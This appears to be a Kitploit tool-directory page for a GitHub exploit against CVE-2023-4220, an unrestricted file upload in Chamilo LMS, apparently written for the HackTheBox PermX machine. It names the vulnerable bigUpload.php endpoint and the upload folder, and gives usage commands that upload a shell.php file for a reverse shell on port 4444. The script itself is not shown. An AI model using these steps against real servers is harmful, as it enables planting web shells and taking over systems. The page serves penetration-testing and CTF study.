Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2023-4220-HTB-PermX | Kitploit
Tools/GitHubGitHub/oxapavan/cve-2023-4220-htb-permx
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed Teaming
GitHuboxapavan/cve-2023-4220-htb-permx

CVE-2023-4220-HTB-PermX

View Repository
11 year agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Chamilo-LMS-CVE-2023-4220-Exploit

Description

This exploit demonstrates an Unrestricted file upload vulnerability in Chamilo-LMS. The vulnerability affects the big file upload functionality located at:

root@kitploit:~
/main/inc/lib/javascript/bigupload/inc/bigUpload.php

Affected Versions: Chamilo LMS <= v1.11.24

The vulnerability allows arbitrary files to be uploaded to:

root@kitploit:~
/main/inc/lib/javascript/bigupload/files/

Vulnerability POC

Step 1: Initial Setup

First, make the exploit executable and view usage information:

root@kitploit:~
chmod +x CVE-2023-4220.sh
./CVE-2023-4220.sh

Step 2: Execute Exploit

Run the exploit with required parameters:

root@kitploit:~
./CVE-2023-4220.sh -f reverse_file -h host_link -p port_in_the_reverse_file

Step 3: Verification

Verify the uploaded file at:

root@kitploit:~
http://target.test/main/inc/lib/javascript/bigupload/files/

Usage

Command Options

  • -f: Specify the file to upload
  • -h: Target host URL
  • -p: Port number for connection

Example Usage

root@kitploit:~
./CVE-2023-4220.sh -f shell.php -h http://target.test -p 4444

Important Notes

  • Tool for security research only
  • Obtain proper authorization before testing
  • Test only in authorized environments
  • Follow responsible disclosure practices

Technical Details

The vulnerability exists in the file upload mechanism of Chamilo LMS that fails to properly validate uploaded files in the big file upload functionality.

Affected Component

root@kitploit:~
/main/inc/lib/javascript/bigupload/inc/bigUpload.php

File Storage Location

root@kitploit:~
/main/inc/lib/javascript/bigupload/files/

References

  • CVE-2023-4220
  • Chamilo LMS Official Documentation
Download Tool